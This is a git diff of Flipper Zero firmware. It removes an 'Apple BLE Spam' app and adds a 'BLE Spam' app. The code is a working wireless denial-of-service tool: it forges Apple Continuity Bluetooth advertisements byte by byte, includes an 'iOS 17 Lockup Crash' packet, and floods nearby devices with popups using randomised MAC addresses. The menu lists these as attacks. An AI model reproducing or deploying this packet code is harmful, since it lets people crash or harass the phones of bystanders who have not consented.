furi_thread_set_callback(state->thread, adv_thread);
|
|
||||||
furi_thread_set_context(state->thread, state);
|
|
||||||
furi_thread_set_stack_size(state->thread, 2048);
|
|
||||||
|
|
||||||
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
|
||||||
ViewPort* view_port = view_port_alloc();
|
|
||||||
Gui* gui = furi_record_open(RECORD_GUI);
|
|
||||||
view_port_input_callback_set(view_port, input_callback, input_queue);
|
|
||||||
view_port_draw_callback_set(view_port, draw_callback, state);
|
|
||||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
|
||||||
|
|
||||||
bool running = true;
|
|
||||||
while(running) {
|
|
||||||
InputEvent input;
|
|
||||||
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
|
|
||||||
|
|
||||||
Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
|
|
||||||
&payloads[state->index] :
|
|
||||||
NULL;
|
|
||||||
bool advertising = state->advertising;
|
|
||||||
switch(input.key) {
|
|
||||||
case InputKeyOk:
|
|
||||||
if(payload) toggle_adv(state, payload);
|
|
||||||
break;
|
|
||||||
case InputKeyUp:
|
|
||||||
if(payload && state->delay < COUNT_OF(delays) - 1) {
|
|
||||||
if(advertising) stop_adv(state);
|
|
||||||
state->delay++;
|
|
||||||
if(advertising) start_adv(state);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyDown:
|
|
||||||
if(payload && state->delay > 0) {
|
|
||||||
if(advertising) stop_adv(state);
|
|
||||||
state->delay--;
|
|
||||||
if(advertising) start_adv(state);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyLeft:
|
|
||||||
if(state->index > PAGE_MIN) {
|
|
||||||
if(advertising) toggle_adv(state, payload);
|
|
||||||
state->index--;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyRight:
|
|
||||||
if(state->index < PAGE_MAX) {
|
|
||||||
if(advertising) toggle_adv(state, payload);
|
|
||||||
state->index++;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyBack:
|
|
||||||
if(advertising) toggle_adv(state, payload);
|
|
||||||
running = false;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
view_port_update(view_port);
|
|
||||||
}
|
|
||||||
|
|
||||||
gui_remove_view_port(gui, view_port);
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
view_port_free(view_port);
|
|
||||||
furi_message_queue_free(input_queue);
|
|
||||||
|
|
||||||
furi_thread_free(state->thread);
|
|
||||||
free(state);
|
|
||||||
|
|
||||||
for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
|
|
||||||
free(randoms[type].datas);
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="apple_ble_spam",
|
|
||||||
name="Apple BLE Spam",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="apple_ble_spam",
|
|
||||||
stack_size=2 * 1024,
|
|
||||||
fap_icon="icons/apple_10px.png",
|
|
||||||
fap_category="Bluetooth",
|
|
||||||
fap_author="@Willy-JL & @ECTO-1A",
|
|
||||||
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/apple_ble_spam",
|
|
||||||
fap_version="1.2",
|
|
||||||
fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
|
|
||||||
fap_icon_assets="icons",
|
|
||||||
fap_icon_assets_symbol="apple_ble_spam",
|
|
||||||
fap_private_libs=[
|
|
||||||
Lib(
|
|
||||||
name="continuity",
|
|
||||||
),
|
|
||||||
],
|
|
||||||
)
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 563 B |
@@ -1,165 +0,0 @@
|
|||||||
#include "continuity.h"
|
|
||||||
#include <furi_hal_random.h>
|
|
||||||
#include <core/core_defines.h>
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
|
||||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
|
||||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
||||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
|
||||||
|
|
||||||
static const char* continuity_type_names[ContinuityTypeCount] = {
|
|
||||||
[ContinuityTypeAirDrop] = "AirDrop",
|
|
||||||
[ContinuityTypeProximityPair] = "Proximity Pair",
|
|
||||||
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
|
||||||
[ContinuityTypeHandoff] = "Handoff",
|
|
||||||
[ContinuityTypeTetheringSource] = "Tethering Source",
|
|
||||||
[ContinuityTypeNearbyAction] = "Nearby Action",
|
|
||||||
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
|
||||||
[ContinuityTypeCustomCrash] = "Custom Packet",
|
|
||||||
};
|
|
||||||
const char* continuity_get_type_name(ContinuityType type) {
|
|
||||||
return continuity_type_names[type];
|
|
||||||
}
|
|
||||||
|
|
||||||
#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
|
|
||||||
static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
|
|
||||||
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
|
||||||
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
|
||||||
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
|
||||||
[ContinuityTypeHandoff] = HEADER_LEN + 14,
|
|
||||||
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
|
|
||||||
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
|
|
||||||
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
|
||||||
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
|
||||||
};
|
|
||||||
uint8_t continuity_get_packet_size(ContinuityType type) {
|
|
||||||
return continuity_packet_sizes[type];
|
|
||||||
}
|
|
||||||
|
|
||||||
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
|
|
||||||
uint8_t size = continuity_get_packet_size(msg->type);
|
|
||||||
uint8_t i = 0;
|
|
||||||
|
|
||||||
packet[i++] = size - 1; // Packet Length
|
|
||||||
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
|
|
||||||
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = msg->type; // Continuity Type
|
|
||||||
packet[i] = size - i - 1; // Continuity Length
|
|
||||||
i++;
|
|
||||||
|
|
||||||
switch(msg->type) {
|
|
||||||
case ContinuityTypeAirDrop:
|
|
||||||
packet[i++] = 0x00; // Zeros
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // AppleID
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Phone Number
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Email
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Email2
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = 0x00; // Zero
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeProximityPair:
|
|
||||||
packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
|
|
||||||
packet[i++] = msg->data.proximity_pair.model >> 8;
|
|
||||||
packet[i++] = msg->data.proximity_pair.model & 0xFF;
|
|
||||||
packet[i++] = 0x55; // Status
|
|
||||||
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
|
|
||||||
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
|
|
||||||
packet[i++] = (rand() % 256); // Lid Open Counter
|
|
||||||
packet[i++] = 0x00; // Device Color
|
|
||||||
packet[i++] = 0x00;
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
|
|
||||||
i += 16;
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeAirplayTarget:
|
|
||||||
packet[i++] = (rand() % 256); // Flags
|
|
||||||
packet[i++] = (rand() % 256); // Configuration Seed
|
|
||||||
packet[i++] = (rand() % 256); // IPv4 Address
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeHandoff:
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // Initialization Vector
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
|
|
||||||
packet[i++] = (rand() % 256); // Encrypted Payload
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeTetheringSource:
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // Flags
|
|
||||||
packet[i++] = (rand() % 101); // Battery Life
|
|
||||||
packet[i++] = 0x00; // Cell Service Type
|
|
||||||
packet[i++] = (rand() % 8); // ...
|
|
||||||
packet[i++] = (rand() % 5); // Cell Service Strength
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeNearbyAction:
|
|
||||||
packet[i] = msg->data.nearby_action.flags; // Action Flags
|
|
||||||
if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
|
|
||||||
i++;
|
|
||||||
packet[i++] = msg->data.nearby_action.type;
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
||||||
i += 3;
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeNearbyInfo:
|
|
||||||
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
|
|
||||||
packet[i++] = (rand() % 256); // Status Flags
|
|
||||||
packet[i++] = (rand() % 256); // Authentication Tag
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ContinuityTypeCustomCrash:
|
|
||||||
// Found by @ECTO-1A
|
|
||||||
|
|
||||||
i -= 2; // Override segment header
|
|
||||||
packet[i++] = ContinuityTypeNearbyAction; // Type
|
|
||||||
packet[i++] = 0x05; // Length
|
|
||||||
packet[i++] = 0xC1; // Action Flags
|
|
||||||
const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
|
|
||||||
packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
||||||
i += 3;
|
|
||||||
|
|
||||||
packet[i++] = 0x00; // ???
|
|
||||||
packet[i++] = 0x00; // ???
|
|
||||||
|
|
||||||
packet[i++] = ContinuityTypeNearbyInfo; // Type ???
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
|
|
||||||
i += 3;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,59 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
|
||||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
|
||||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
||||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
ContinuityTypeAirDrop = 0x05,
|
|
||||||
ContinuityTypeProximityPair = 0x07,
|
|
||||||
ContinuityTypeAirplayTarget = 0x09,
|
|
||||||
ContinuityTypeHandoff = 0x0C,
|
|
||||||
ContinuityTypeTetheringSource = 0x0E,
|
|
||||||
ContinuityTypeNearbyAction = 0x0F,
|
|
||||||
ContinuityTypeNearbyInfo = 0x10,
|
|
||||||
|
|
||||||
ContinuityTypeCustomCrash,
|
|
||||||
ContinuityTypeCount
|
|
||||||
} ContinuityType;
|
|
||||||
|
|
||||||
typedef union {
|
|
||||||
struct {
|
|
||||||
} airdrop;
|
|
||||||
struct {
|
|
||||||
uint8_t prefix;
|
|
||||||
uint16_t model;
|
|
||||||
} proximity_pair;
|
|
||||||
struct {
|
|
||||||
} airplay_target;
|
|
||||||
struct {
|
|
||||||
} handoff;
|
|
||||||
struct {
|
|
||||||
} tethering_source;
|
|
||||||
struct {
|
|
||||||
uint8_t flags;
|
|
||||||
uint8_t type;
|
|
||||||
} nearby_action;
|
|
||||||
struct {
|
|
||||||
} nearby_info;
|
|
||||||
struct {
|
|
||||||
} custom_crash;
|
|
||||||
} ContinuityData;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
ContinuityType type;
|
|
||||||
ContinuityData data;
|
|
||||||
} ContinuityMsg;
|
|
||||||
|
|
||||||
const char* continuity_get_type_name(ContinuityType type);
|
|
||||||
|
|
||||||
uint8_t continuity_get_packet_size(ContinuityType type);
|
|
||||||
|
|
||||||
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet);
|
|
||||||
15
applications/external/ble_spam/application.fam
vendored
Normal file
15
applications/external/ble_spam/application.fam
vendored
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
App(
|
||||||
|
appid="ble_spam",
|
||||||
|
name="BLE Spam",
|
||||||
|
apptype=FlipperAppType.EXTERNAL,
|
||||||
|
entry_point="ble_spam",
|
||||||
|
stack_size=4 * 1024,
|
||||||
|
fap_icon="ble_spam_10px.png",
|
||||||
|
fap_category="Bluetooth",
|
||||||
|
fap_author="@Willy-JL & @ECTO-1A",
|
||||||
|
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
|
||||||
|
fap_version="2.0",
|
||||||
|
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
|
||||||
|
fap_icon_assets="icons",
|
||||||
|
fap_icon_assets_symbol="ble_spam",
|
||||||
|
)
|
||||||
363
applications/external/ble_spam/ble_spam.c
vendored
Normal file
363
applications/external/ble_spam/ble_spam.c
vendored
Normal file
@@ -0,0 +1,363 @@
|
|||||||
|
#include <gui/gui.h>
|
||||||
|
#include <furi_hal_bt.h>
|
||||||
|
#include <gui/elements.h>
|
||||||
|
|
||||||
|
#include "protocols/_registry.h"
|
||||||
|
|
||||||
|
// Hacked together by @Willy-JL
|
||||||
|
// Custom adv API by @Willy-JL (idea by @xMasterX)
|
||||||
|
// iOS 17 Crash by @ECTO-1A
|
||||||
|
// Research on behaviors and parameters by @Willy-JL and @ECTO-1A
|
||||||
|
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
bool random_mac;
|
||||||
|
const BleSpamProtocol* protocol;
|
||||||
|
BleSpamMsg msg;
|
||||||
|
} Payload;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
const char* title;
|
||||||
|
const char* text;
|
||||||
|
Payload payload;
|
||||||
|
} Attack;
|
||||||
|
|
||||||
|
static Attack attacks[] = {
|
||||||
|
{
|
||||||
|
.title = "+ Kitchen Sink",
|
||||||
|
.text = "Flood all attacks at once",
|
||||||
|
.payload =
|
||||||
|
{
|
||||||
|
.random_mac = true,
|
||||||
|
.protocol = NULL,
|
||||||
|
.msg = {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.title = "iOS 17 Lockup Crash",
|
||||||
|
.text = "Newer iPhones, long range",
|
||||||
|
.payload =
|
||||||
|
{
|
||||||
|
.random_mac = false,
|
||||||
|
.protocol = &ble_spam_protocol_continuity,
|
||||||
|
.msg =
|
||||||
|
{
|
||||||
|
.continuity =
|
||||||
|
{
|
||||||
|
.type = ContinuityTypeCustomCrash,
|
||||||
|
.data = {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.title = "Apple Action Modal",
|
||||||
|
.text = "Lock cooldown, long range",
|
||||||
|
.payload =
|
||||||
|
{
|
||||||
|
.random_mac = false,
|
||||||
|
.protocol = &ble_spam_protocol_continuity,
|
||||||
|
.msg =
|
||||||
|
{
|
||||||
|
.continuity =
|
||||||
|
{
|
||||||
|
.type = ContinuityTypeNearbyAction,
|
||||||
|
.data = {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.title = "Apple Device Popup",
|
||||||
|
.text = "No cooldown, close range",
|
||||||
|
.payload =
|
||||||
|
{
|
||||||
|
.random_mac = false,
|
||||||
|
.protocol = &ble_spam_protocol_continuity,
|
||||||
|
.msg =
|
||||||
|
{
|
||||||
|
.continuity =
|
||||||
|
{
|
||||||
|
.type = ContinuityTypeProximityPair,
|
||||||
|
.data = {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
|
||||||
|
|
||||||
|
uint16_t delays[] = {20, 50, 100, 200};
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
bool resume;
|
||||||
|
bool advertising;
|
||||||
|
uint8_t delay;
|
||||||
|
FuriThread* thread;
|
||||||
|
int8_t index;
|
||||||
|
} State;
|
||||||
|
|
||||||
|
static int32_t adv_thread(void* ctx) {
|
||||||
|
State* state = ctx;
|
||||||
|
uint8_t size;
|
||||||
|
uint16_t delay;
|
||||||
|
uint8_t* packet;
|
||||||
|
uint8_t mac[GAP_MAC_ADDR_SIZE];
|
||||||
|
Payload* payload = &attacks[state->index].payload;
|
||||||
|
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
||||||
|
|
||||||
|
while(state->advertising) {
|
||||||
|
if(payload->protocol) {
|
||||||
|
payload->protocol->make_packet(&size, &packet, &payload->msg);
|
||||||
|
} else {
|
||||||
|
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
|
||||||
|
&size, &packet, NULL);
|
||||||
|
}
|
||||||
|
furi_hal_bt_custom_adv_set(packet, size);
|
||||||
|
free(packet);
|
||||||
|
|
||||||
|
if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
||||||
|
delay = delays[state->delay];
|
||||||
|
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
|
||||||
|
furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
|
||||||
|
furi_hal_bt_custom_adv_stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void toggle_adv(State* state) {
|
||||||
|
if(state->advertising) {
|
||||||
|
state->advertising = false;
|
||||||
|
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
|
||||||
|
furi_thread_join(state->thread);
|
||||||
|
if(state->resume) furi_hal_bt_start_advertising();
|
||||||
|
} else {
|
||||||
|
state->resume = furi_hal_bt_is_active();
|
||||||
|
furi_hal_bt_stop_advertising();
|
||||||
|
state->advertising = true;
|
||||||
|
furi_thread_start(state->thread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#define PAGE_MIN (-3)
|
||||||
|
#define PAGE_MAX ATTACK_COUNT
|
||||||
|
enum {
|
||||||
|
PageHelpApps = PAGE_MIN,
|
||||||
|
PageHelpDelay,
|
||||||
|
PageHelpDistance,
|
||||||
|
PageStart = 0,
|
||||||
|
PageEnd = ATTACK_COUNT - 1,
|
||||||
|
PageAboutCredits = PAGE_MAX,
|
||||||
|
};
|
||||||
|
|
||||||
|
static void draw_callback(Canvas* canvas, void* ctx) {
|
||||||
|
State* state = ctx;
|
||||||
|
const char* back = "Back";
|
||||||
|
const char* next = "Next";
|
||||||
|
switch(state->index) {
|
||||||
|
case PageStart - 1:
|
||||||
|
next = "Spam";
|
||||||
|
break;
|
||||||
|
case PageStart:
|
||||||
|
back = "Help";
|
||||||
|
break;
|
||||||
|
case PageEnd:
|
||||||
|
next = "About";
|
||||||
|
break;
|
||||||
|
case PageEnd + 1:
|
||||||
|
back = "Spam";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
const Attack* attack =
|
||||||
|
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
|
||||||
|
const Payload* payload = &attack->payload;
|
||||||
|
const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
|
||||||
|
|
||||||
|
canvas_set_font(canvas, FontSecondary);
|
||||||
|
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
|
||||||
|
canvas_draw_str(canvas, 14, 12, "BLE Spam");
|
||||||
|
|
||||||
|
switch(state->index) {
|
||||||
|
case PageHelpApps:
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||||
|
elements_text_box(
|
||||||
|
canvas,
|
||||||
|
4,
|
||||||
|
16,
|
||||||
|
120,
|
||||||
|
48,
|
||||||
|
AlignLeft,
|
||||||
|
AlignTop,
|
||||||
|
"\e#Some Apps\e# interfere\n"
|
||||||
|
"with the attacks, stay on\n"
|
||||||
|
"homescreen for best results",
|
||||||
|
false);
|
||||||
|
break;
|
||||||
|
case PageHelpDelay:
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||||
|
elements_text_box(
|
||||||
|
canvas,
|
||||||
|
4,
|
||||||
|
16,
|
||||||
|
120,
|
||||||
|
48,
|
||||||
|
AlignLeft,
|
||||||
|
AlignTop,
|
||||||
|
"\e#Delay\e# is time between\n"
|
||||||
|
"attack attempts (top right),\n"
|
||||||
|
"keep 20ms for best results",
|
||||||
|
false);
|
||||||
|
break;
|
||||||
|
case PageHelpDistance:
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||||
|
elements_text_box(
|
||||||
|
canvas,
|
||||||
|
4,
|
||||||
|
16,
|
||||||
|
120,
|
||||||
|
48,
|
||||||
|
AlignLeft,
|
||||||
|
AlignTop,
|
||||||
|
"\e#Distance\e# is limited, attacks\n"
|
||||||
|
"work under 1 meter but a\n"
|
||||||
|
"few are marked 'long range'",
|
||||||
|
false);
|
||||||
|
break;
|
||||||
|
case PageAboutCredits:
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
|
||||||
|
elements_text_box(
|
||||||
|
canvas,
|
||||||
|
4,
|
||||||
|
16,
|
||||||
|
122,
|
||||||
|
48,
|
||||||
|
AlignLeft,
|
||||||
|
AlignTop,
|
||||||
|
"App+Spam: \e#WillyJL\e# XFW\n"
|
||||||
|
"Apple+Crash: \e#ECTO-1A\e#\n"
|
||||||
|
"\n"
|
||||||
|
" Version \e#2.0\e#",
|
||||||
|
false);
|
||||||
|
break;
|
||||||
|
default: {
|
||||||
|
if(!attack) break;
|
||||||
|
char str[32];
|
||||||
|
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
|
||||||
|
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
|
||||||
|
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
|
||||||
|
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
|
||||||
|
|
||||||
|
canvas_set_font(canvas, FontBatteryPercent);
|
||||||
|
snprintf(
|
||||||
|
str,
|
||||||
|
sizeof(str),
|
||||||
|
"%02i/%02i: %s",
|
||||||
|
state->index + 1,
|
||||||
|
ATTACK_COUNT,
|
||||||
|
protocol ? protocol->get_name(&payload->msg) : "Everything");
|
||||||
|
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
|
||||||
|
|
||||||
|
canvas_set_font(canvas, FontPrimary);
|
||||||
|
canvas_draw_str(canvas, 4, 32, attack->title);
|
||||||
|
|
||||||
|
canvas_set_font(canvas, FontSecondary);
|
||||||
|
canvas_draw_str(canvas, 4, 46, attack->text);
|
||||||
|
|
||||||
|
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(state->index > PAGE_MIN) {
|
||||||
|
elements_button_left(canvas, back);
|
||||||
|
}
|
||||||
|
if(state->index < PAGE_MAX) {
|
||||||
|
elements_button_right(canvas, next);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void input_callback(InputEvent* input, void* ctx) {
|
||||||
|
FuriMessageQueue* input_queue = ctx;
|
||||||
|
if(input->type == InputTypeShort || input->type == InputTypeLong ||
|
||||||
|
input->type == InputTypeRepeat) {
|
||||||
|
furi_message_queue_put(input_queue, input, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int32_t ble_spam(void* p) {
|
||||||
|
UNUSED(p);
|
||||||
|
State* state = malloc(sizeof(State));
|
||||||
|
state->thread = furi_thread_alloc();
|
||||||
|
furi_thread_set_callback(state->thread, adv_thread);
|
||||||
|
furi_thread_set_context(state->thread, state);
|
||||||
|
furi_thread_set_stack_size(state->thread, 4096);
|
||||||
|
|
||||||
|
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
||||||
|
ViewPort* view_port = view_port_alloc();
|
||||||
|
Gui* gui = furi_record_open(RECORD_GUI);
|
||||||
|
view_port_input_callback_set(view_port, input_callback, input_queue);
|
||||||
|
view_port_draw_callback_set(view_port, draw_callback, state);
|
||||||
|
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||||
|
|
||||||
|
bool running = true;
|
||||||
|
while(running) {
|
||||||
|
InputEvent input;
|
||||||
|
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
|
||||||
|
|
||||||
|
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
|
||||||
|
bool advertising = state->advertising;
|
||||||
|
switch(input.key) {
|
||||||
|
case InputKeyOk:
|
||||||
|
if(is_attack) toggle_adv(state);
|
||||||
|
break;
|
||||||
|
case InputKeyUp:
|
||||||
|
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
|
||||||
|
state->delay++;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case InputKeyDown:
|
||||||
|
if(is_attack && state->delay > 0) {
|
||||||
|
state->delay--;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case InputKeyLeft:
|
||||||
|
if(state->index > PAGE_MIN) {
|
||||||
|
if(advertising) toggle_adv(state);
|
||||||
|
state->index--;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case InputKeyRight:
|
||||||
|
if(state->index < PAGE_MAX) {
|
||||||
|
if(advertising) toggle_adv(state);
|
||||||
|
state->index++;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case InputKeyBack:
|
||||||
|
if(advertising) toggle_adv(state);
|
||||||
|
running = false;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
view_port_update(view_port);
|
||||||
|
}
|
||||||
|
|
||||||
|
gui_remove_view_port(gui, view_port);
|
||||||
|
furi_record_close(RECORD_GUI);
|
||||||
|
view_port_free(view_port);
|
||||||
|
furi_message_queue_free(input_queue);
|
||||||
|
|
||||||
|
furi_thread_free(state->thread);
|
||||||
|
free(state);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
applications/external/ble_spam/ble_spam_10px.png
vendored
Normal file
BIN
applications/external/ble_spam/ble_spam_10px.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.1 KiB |
BIN
